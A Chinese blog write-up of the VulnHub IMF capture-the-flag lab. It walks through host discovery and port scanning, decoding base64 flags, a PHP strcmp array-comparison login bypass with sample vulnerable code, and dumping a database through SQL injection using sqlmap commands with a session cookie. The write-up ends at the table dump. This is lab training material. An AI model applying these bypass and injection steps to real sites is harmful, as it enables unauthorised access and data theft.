【打靶记录】VulnHub-IMF靶机渗透wp

阿宙宙宙

已于 2024-01-30 10:56:21 修改

阅读量1k

点赞数 23

分类专栏：靶机文章标签：网络安全 web安全

于 2024-01-14 14:38:23 首次发布

本文链接：https://blog.csdn.net/qq_39972370/article/details/135582966

版权

靶机专栏收录该内容

3 篇文章 1 订阅

订阅专栏

简介

IMF 是一个初级难度的boot 2 root 靶机。 flag难度从简单到困难，并且每个flag都含有关于获取下一个flag的提示。

IMF靶机下载地址：IMF: 1 ~ VulnHub

攻击机：Kali Linux IP：192.168.47.129

（1）信息搜集

1、主机发现

因为靶机与宿主机在同一网段，所以用二级扫描来发现靶机ip：arp-scan -l

发现靶机ip为192.168.47.141

2、端口扫描

nmap -sC -sV -O 192.168.47.141

//-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测

发现就开了一个80端口

3、访问Web服务

网页上访问192.168.47.141，点第三个选项

查看网页源码，得到flag1{YWxsdGhlZmlsZXM=}

把flag里的内容base64解码，得到字符串：allthefiles

点击首页第一个选项查看源码，这三段有点像base64编码

把三段拼起来：ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

用base64解码，得到flag2{aW1mYWRtaW5pc3RyYXRvcg==

再把flag2里面的内容解码，得到字符串：imfadministrator

访问一下imfadministrator路径，是一个登陆界面

查看网页源码，发现提示：“我无法使用SQL，所以我硬编码了密码。它仍然非常安全。”

随便输入用户名和密码，点登录，页面回显提示：“无效的用户名”

接下来就需要找到正确的用户名，浏览网页发现有三个邮箱，用这三个用户名登陆试试

使用第一个用户名（rmichaels）登录时，发现页面回显变成了“无效的密码”，说明我们的用户名是正确的

既然知道了正确的用户名，就可以使用burpsuite抓包爆破出密码

右键，选择转发到Intruder

选中要爆破的地方

配置好payload后，点击开始攻击

爆破速度太慢了，放弃这种方式

（2）漏洞利用

burp抓包进行绕过

参考代码php strcmp比较字符串绕过：字符串和数组进行比较

<?php
  $flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
  //如果 str1 小于 str2 返回 < 0； 如果 str1大于 str2返回 > 0；如果两者相等，返回 0。
  //比较两个字符串（区分大小写）
  if (strcmp($_GET['a'], $flag) == 0) 
    die('Flag: '.$flag); 
  else
    print 'No';
}
  ?>

a的输入为非字符串类型数据，就会报错，自动return 0

我们可以将pass以数组的方式传输数据，使其报错。

得到flag3{Y29udGludWVUT2Ntcw==}

base64解密得到：continueTOcms

关闭抓包，页面跳转到如下界面

点击IMF CMS进入新的页面

在url地址栏加单引号测试下，发现有报错回显，说明存在sql注入漏洞

这里因为是基于登录之后的sql注入，使用sqlmap需要加上cookie值

所以我们先抓包记录一下cooike值：PHPSESSID=76gll2kk80bthftu7adt9re7g2

直接上sqlmap，获取数据库名：

sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -dbs

-o: 表示将结果输出到文件。

-u 指定目标 URL，即待测试的网址。

--cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2": 指定了 HTTP 请求中的 Cookie 信息，这是为了在测试中保持用户的身份验证状态。

--batch: 设置 SQLMap 在运行时遇到多个可能性时自动选择默认选项，而不需要用户交互。

-dbs: 表示检测数据库名称。

获取admin数据库的表名，发现里面只有一个pages表：

sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -D admin -tables

获取pages表里面的全部内容：

sqlmap -o -u "http://192.168.47.141/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=76gll2kk80bthftu7adt9re7g2" --batch -D admin -T pages --dump